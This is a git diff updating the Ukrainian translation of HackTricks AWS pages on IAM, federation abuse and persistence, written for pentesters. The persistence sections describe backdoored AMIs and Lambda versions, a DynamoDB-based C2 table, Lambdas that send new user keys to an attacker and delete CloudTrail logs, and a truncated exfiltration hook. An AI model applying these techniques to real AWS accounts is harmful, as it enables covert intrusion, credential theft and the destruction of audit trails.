токенів (STS) — це веб-сер - Політики, керовані AWS (попередньо налаштовані AWS) - Політики, керовані клієнтом: Налаштовані вами. Ви можете створювати політики на основі політик, керованих AWS (модифікуючи одну з них і створюючи свою), використовуючи генератор політик (GUI, який допомагає вам надавати та відмовляти в дозволах) або написавши свої власні. -За **замовчуванням доступ** **заборонено**, доступ буде надано, якщо вказано явну роль.\ +За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо явно вказана роль.\ Якщо **існує єдине "Заперечення", воно переважатиме "Дозволити"**, за винятком запитів, які використовують кореневі облікові дані безпеки облікового запису AWS (які за замовчуванням дозволені). ```javascript { @@ -192,33 +192,33 @@ AWS Служба безпечних токенів (STS) — це веб-сер ] } ``` -The [глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -[Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +Глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут.\ +Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут. #### Вбудовані політики Цей вид політик **безпосередньо призначається** користувачу, групі або ролі. Тоді вони не з'являються у списку політик, оскільки інші не можуть їх використовувати.\ -Вбудовані політики корисні, якщо ви хочете **підтримувати строгі однозначні відносини між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності. +Вбудовані політики корисні, якщо ви хочете **підтримувати сувору однозначну відповідність між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності. -#### Політики ресурсних кошиків +#### Політики ресурсних бакетів -Це **політики**, які можна визначити в **ресурсах**. **Не всі ресурси AWS підтримують їх**. +Це **політики**, які можуть бути визначені в **ресурсах**. **Не всі ресурси AWS підтримують їх**. Якщо у основної сутності немає явного заборони на них, і політика ресурсу надає їм доступ, тоді їм дозволено. ### Межі IAM -Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу **іншою політикою**, операція **не вдасться**, якщо він спробує їх використати. +Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати. -Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· кошики, це максимальне, що він може зробити. +Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· бакети, це максимальне, що він може зробити. -**Це**, **SCP** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно. +**Це**, **SCPs** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно. ### Політики сесії -Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, а **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль). +Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, але **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль). -Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише тими, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована. +Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише до тих, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована. ```bash aws sts assume-role \ --role-arn \ @@ -230,40 +230,40 @@ aws sts assume-role \ Отже, якщо в якийсь момент ви зіткнетеся з помилкою "... тому що жодна політика сесії не дозволяє ...", і роль має доступ для виконання дії, це тому, що **існує політика сесії, яка цьому заважає**. -### Федерація ідентичності +### Федерація особистостей -Федерація ідентичності **дозволяє користувачам з постачальників ідентичності, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\ -Прикладом постачальника ідентичності може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS. +Федерація особистостей **дозволяє користувачам з постачальників особистостей, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\ +Прикладом постачальника особистостей може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS. -Щоб налаштувати це довір'я, створюється **постачальник ідентичності IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряє) постачальнику ідентичності**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль. +Щоб налаштувати це довір'я, **генерується постачальник особистостей IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику особистостей**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль. -Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику ідентичності, а стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу. +Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику особистостей, і стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
-### IAM Центр ідентичності +### IAM Identity Center -AWS IAM Центр ідентичності (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків. +AWS IAM Identity Center (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків. Домен для входу буде чимось на зразок `.awsapps.com`. -Для входу користувачів можна використовувати 3 джерела ідентичності: +Для входу користувачів можна використовувати 3 джерела особистостей: -- Директорія Центру ідентичності: Звичайні користувачі AWS +- Identity Center Directory: Звичайні користувачі AWS - Active Directory: Підтримує різні конектори -- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP) +- Зовнішній постачальник особистостей: Всі користувачі та групи походять від зовнішнього постачальника особистостей (IdP)
-У найпростішому випадку директорії Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації. +У найпростішому випадку каталогу Identity Center, **Identity Center матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації. -Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, буде створено **постачальника ідентичності SAML, який довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створена** в цільовому обліковому записі. +Щоб надати доступ користувачу/групі Identity Center до облікового запису, **буде створено постачальника особистостей SAML, який довіряє Identity Center**, і **роль, що довіряє постачальнику особистостей з вказаними політиками, буде створена** в цільовому обліковому записі. #### AwsSSOInlinePolicy -Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Центр ідентичності**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Центрі ідентичності**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**. +Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Identity Center**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Identity Center**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**. -Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вони мають однакові дозволи**. +Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вона має однакові дозволи**. ### Довірчі відносини та ролі між обліковими записами @@ -295,11 +295,11 @@ AWS Identity and Access Management (IAM) забезпечує **точний к ### Префікси IAM ID -На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **префікси IAM ID** ключів залежно від їх природи: +На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **IAM ID префікси** ключів залежно від їх природи: | ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Контекстно-специфічні облікові дані | +| ACCA | Облікові дані, специфічні для контексту | | AGPA | Група користувачів | | AIDA | Користувач IAM | | AIPA | Профіль екземпляра Amazon EC2 | @@ -329,7 +329,7 @@ AWS Identity and Access Management (IAM) забезпечує **точний к ### CLI автентифікація Щоб звичайний користувач міг автентифікуватися в AWS через CLI, вам потрібно мати **локальні облікові дані**. За замовчуванням ви можете налаштувати їх **вручну** в `~/.aws/credentials` або **запустивши** `aws configure`.\ -У цьому файлі ви можете мати більше ніж один профіль, якщо **жоден профіль** не вказано за допомогою **aws cli**, буде використано той, що називається **`[default]`** в цьому файлі.\ +У цьому файлі ви можете мати більше одного профілю, якщо **жоден профіль** не вказано за допомогою **aws cli**, буде використовуватися той, що називається **`[default]`** у цьому файлі.\ Приклад файлу облікових даних з більш ніж 1 профілем: ``` [default] @@ -343,7 +343,7 @@ region = eu-west-2 ``` Якщо вам потрібно отримати доступ до **різних облікових записів AWS** і вашому профілю було надано доступ до **прийняття ролі в цих облікових записах**, вам не потрібно вручну викликати STS щоразу (`aws sts assume-role --role-arn --role-session-name sessname`) і налаштовувати облікові дані. -Ви можете використовувати файл `~/.aws/config`, щоб [**вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\ +Ви можете використовувати файл `~/.aws/config`, щоб [ **вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\ Приклад конфігураційного файлу: ``` [profile acc2] @@ -353,7 +353,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -З цим файлом конфігурації ви можете використовувати aws cli, як: +З цим конфігураційним файлом ви можете використовувати aws cli, як: ``` aws --profile acc2 ... ``` diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index a7ee4fcac..25a57e5e5 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -1,4 +1,4 @@ -# AWS - Federation Abuse +# AWS - Зловживання федерацією {{#include ../../../banners/hacktricks-training.md}} @@ -10,17 +10,17 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -Щоб налаштувати **Ідентифікаційну Федерацію через SAML**, вам потрібно лише надати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з публічним ключем) +Щоб налаштувати **федерацію ідентичності через SAML**, вам потрібно лише надати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з відкритим ключем) -## OIDC - Github Actions Abuse +## OIDC - Зловживання GitHub Actions -Щоб додати github action як постачальника ідентифікації: +Щоб додати дію GitHub як постачальника ідентичності: 1. Для _Типу постачальника_ виберіть **OpenID Connect**. 2. Для _URL постачальника_ введіть `https://token.actions.githubusercontent.com` 3. Натисніть _Отримати відбиток_ для отримання відбитка постачальника 4. Для _Аудиторії_ введіть `sts.amazonaws.com` -5. Створіть **нову роль** з **дозволами**, які потрібні github action, та **політикою довіри**, яка довіряє постачальнику, як: +5. Створіть **нову роль** з **дозволами**, які потрібні дії GitHub, та **політикою довіри**, яка довіряє постачальнику, як: - ```json { "Version": "2012-10-17", @@ -45,8 +45,8 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks } ``` 6. Зверніть увагу в попередній політиці, як лише **гілка** з **репозиторію** **організації** була авторизована з конкретним **тригером**. -7. **ARN** **ролі**, яку github action зможе **використовувати**, буде "секретом", який github action потрібно знати, тому **зберігайте** його в **секреті** всередині **середовища**. -8. Нарешті, використовуйте github action для налаштування AWS облікових даних, які будуть використовуватися робочим процесом: +7. **ARN** ролі, яку дія GitHub зможе **використовувати**, буде "секретом", який дія GitHub повинна знати, тому **зберігайте** його в **секреті** всередині **середовища**. +8. Нарешті, використовуйте дію GitHub для налаштування облікових даних AWS, які будуть використовуватися робочим процесом: ```yaml name: "test AWS Access" diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index b947e1564..77642a586 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,4 +1,4 @@ -# AWS - Permissions for a Pentest +# AWS - Дозволи для пентесту {{#include ../../banners/hacktricks-training.md}} @@ -10,8 +10,8 @@ - **access-analyzer:Get\*** - **iam:CreateServiceLinkedRole** - **access-analyzer:CreateAnalyzer** -- Додатково, якщо клієнт генерує аналізатори для вас, але зазвичай простіше просто попросити цей дозвіл) +- Додатково, якщо клієнт генерує аналізатори для вас, але зазвичай легше просто попросити цей дозвіл) - **access-analyzer:DeleteAnalyzer** -- Додатково, якщо клієнт видаляє аналізатори для вас, але зазвичай простіше просто попросити цей дозвіл) +- Додатково, якщо клієнт видаляє аналізатори для вас, але зазвичай легше просто попросити цей дозвіл) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index e7c1268bf..7fac3776f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1 +1 @@ -# AWS - Постійність +# AWS - Постійнiсть diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 307995d0b..fef01e8b0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,7 +4,7 @@ ## Cognito -Для отримання додаткової інформації, зверніться до: +Для отримання додаткової інформації, перейдіть за посиланням: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -15,11 +15,11 @@ Cognito - це сервіс, який дозволяє надавати ролі неавтентифікованим та автентифікованим користувачам і контролювати каталог користувачів. Кілька різних конфігурацій можуть бути змінені для підтримки певної стійкості, такі як: - **Додавання User Pool**, контрольованого користувачем, до Identity Pool -- Надання **IAM ролі неавтентифікованому Identity Pool і дозволити Basic auth flow** -- Або для **автентифікованого Identity Pool**, якщо зловмисник може увійти +- Надання **IAM ролі неавтентифікованому Identity Pool та дозволення Basic auth flow** +- Або **автентифікованому Identity Pool**, якщо зловмисник може увійти в систему - Або **покращення дозволів** наданих ролей - **Створення, перевірка та privesc** через атрибути контрольованих користувачів або нових користувачів у **User Pool** -- **Дозволити зовнішнім постачальникам ідентичності** увійти в User Pool або в Identity Pool +- **Дозволення зовнішнім постачальникам ідентичності** входити в User Pool або в Identity Pool Перевірте, як виконати ці дії в diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index cd128e581..d112aad54 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад у таблицю. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами. +Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад до таблиці. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index fb224713e..2e2738ace 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -12,7 +12,7 @@ ### Відстеження з'єднань групи безпеки -Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу), або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку. +Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу) або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку. Якщо зловмисник мав **реверс-шелл, що походить з машини**, навіть якщо SG змінено, щоб не дозволяти вхідний або вихідний трафік, **з'єднання не буде розірвано через** [**Відстеження з'єднань групи безпеки**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** @@ -27,21 +27,21 @@ ### Запит на флот Spot -Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли Spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**. +Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**. -### Екземпляри з бекдором +### Задні двері в екземплярах -Зловмисник може отримати доступ до екземплярів і встановити бекдор: +Зловмисник може отримати доступ до екземплярів і встановити в них задні двері: - Використовуючи традиційний **rootkit**, наприклад - Додаючи новий **публічний SSH ключ** (перевірте [опції підвищення привілеїв EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Встановлюючи бекдор у **дані користувача** +- Встановлюючи задні двері в **дані користувача** -### **Конфігурація запуску з бекдором** +### **Конфігурація запуску з задніми дверима** -- Бекдор використаного AMI -- Бекдор даних користувача -- Бекдор ключової пари +- Встановити задні двері в використаний AMI +- Встановити задні двері в дані користувача +- Встановити задні двері в пару ключів ### VPN diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 6d2bf43a0..f2cb30f1c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -10,7 +10,7 @@ ../aws-services/aws-ecr-enum.md {{#endref}} -### Схована Docker-образ з шкідливим кодом +### Схований Docker-образ з шкідливим кодом Зловмисник може **завантажити Docker-образ, що містить шкідливий код** до репозиторію ECR і використовувати його для підтримки стійкості в цільовому обліковому записі AWS. Потім зловмисник може розгорнути шкідливий образ на різних службах в обліковому записі, таких як Amazon ECS або EKS, непомітно. @@ -41,7 +41,7 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або витягувати будь-які зображення з будь-якого репозиторію Amazon ECR. +> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або вивантажувати будь-які зображення з будь-якого репозиторію Amazon ECR. ### Політика реєстру та крос-акаунтне реплікація diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 559721423..bae166c50 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -10,12 +10,12 @@ ../aws-services/aws-ecs-enum.md {{#endref}} -### Схована періодична ECS задача +### Схована періодична задача ECS > [!NOTE] > TODO: Test -Зловмисник може створити сховану періодичну ECS задачу, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS. +Зловмисник може створити сховану періодичну задачу ECS, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index 79d8207b5..35f021468 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -10,11 +10,11 @@ ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### Змінити політику ресурсу / групи безпеки -Модифікуючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи. +Змінюючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи. -### Create Access Point +### Створити точку доступу Ви можете **створити точку доступу** (з кореневим доступом до `/`), доступну з сервісу, де ви реалізували **іншу стійкість**, щоб зберегти привілейований доступ до файлової системи. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c3e69e7a0..b8b7e269f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -16,7 +16,7 @@ ### Backdoor in Version -Зловмисник може впровадити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код. +Зловмисник може вставити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код. ### New backdoored version @@ -27,7 +27,7 @@ > [!NOTE] > TODO: Test -Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час постачання та завершення роботи екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**. +Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час надання та завершення екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 98a3f758d..25c7aee5c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -21,7 +21,7 @@ ### Політики довіри до бекдорів ролей -Ви можете створити бекдор у політиці довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх): +Ви можете створити бекдор для політики довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх): ```json { "Version": "2012-10-17", @@ -36,11 +36,11 @@ ] } ``` -### Backdoor Policy Version +### Політика бекдору Версія -Надайте адміністративні дозволи політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі. +Надайте адміністративні права політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі. -### Backdoor / Create Identity Provider +### Бекдор / Створити постачальника ідентичності Якщо обліковий запис вже довіряє загальному постачальнику ідентичності (такому як Github), умови довіри можуть бути посилені, щоб зловмисник міг їх зловживати. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index dffd54aef..3c8a46f98 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -Можливо **ввести/задній доступ до шару для виконання довільного коду** під час виконання лямбди непомітно: +Можливо **ввести/задній доступ до шару для виконання довільного коду** під час виконання лямбди в прихований спосіб: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Зловживаючи шарами Lambda, також можливо зловживати розширеннями та зберігати доступ до лямбди, а також красти та змінювати запити. +Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в лямбді, а також красти та змінювати запити. {{#ref}} aws-abusing-lambda-extensions.md @@ -36,7 +36,7 @@ aws-abusing-lambda-extensions.md Лямбда може мати **різні версії** (з різним кодом для кожної версії).\ Потім ви можете створити **різні псевдоніми з різними версіями** лямбди та встановити різні ваги для кожної.\ -Таким чином, зловмисник може створити **задньо доступну версію 1** та **версію 2 лише з легітимним кодом** і **виконувати лише версію 1 у 1%** запитів, щоб залишатися непомітним. +Таким чином, зловмисник може створити **задньодоступну версію 1** та **версію 2 лише з легітимним кодом** і **виконувати версію 1 лише в 1%** запитів, щоб залишатися непоміченим.
@@ -44,21 +44,21 @@ aws-abusing-lambda-extensions.md 1. Скопіюйте оригінальний код лямбди 2. **Створіть нову версію з заднім доступом** до оригінального коду (або просто з шкідливим кодом). Опублікуйте та **виконайте цю версію** на $LATEST -1. Викличте API шлюз, пов'язаний з лямбдою, щоб виконати код +1. Викличте API gateway, пов'язаний з лямбдою, щоб виконати код 3. **Створіть нову версію з оригінальним кодом**, опублікуйте та виконайте цю **версію** на $LATEST. 1. Це приховає код з заднім доступом у попередній версії 4. Перейдіть до API Gateway і **створіть новий метод POST** (або виберіть будь-який інший метод), який виконає версію лямбди з заднім доступом: `arn:aws:lambda:us-east-1::function::1` 1. Зверніть увагу на фінальне :1 в arn **яке вказує на версію функції** (версія 1 буде версією з заднім доступом у цьому сценарії). -5. Виберіть створений метод POST і в розділі Дії виберіть **`Deploy API`** +5. Виберіть створений метод POST і в Actions виберіть **`Deploy API`** 6. Тепер, коли ви **викликаєте функцію через POST, ваш задній доступ** буде активовано ### Cron/Event actuator -Той факт, що ви можете змусити **функції лямбди виконуватися, коли щось відбувається або коли проходить певний час**, робить лямбду гарним і поширеним способом отримання доступу та уникнення виявлення.\ +Той факт, що ви можете змусити **функції лямбди виконуватися, коли щось відбувається або коли проходить певний час**, робить лямбду гарним і поширеним способом отримання стійкості та уникнення виявлення.\ Ось кілька ідей, щоб зробити вашу **присутність в AWS більш непомітною, створюючи лямбди**. - Кожного разу, коли створюється новий користувач, лямбда генерує новий ключ користувача та надсилає його зловмиснику. - Кожного разу, коли створюється нова роль, лямбда надає права на прийняття ролі скомпрометованим користувачам. -- Кожного разу, коли генеруються нові журнали cloudtrail, видаляйте/змінюйте їх. +- Кожного разу, коли генеруються нові журнали cloudtrail, видаляйте/змінюйте їх {{#include ../../../../banners/hacktricks-training.md}} diff --git 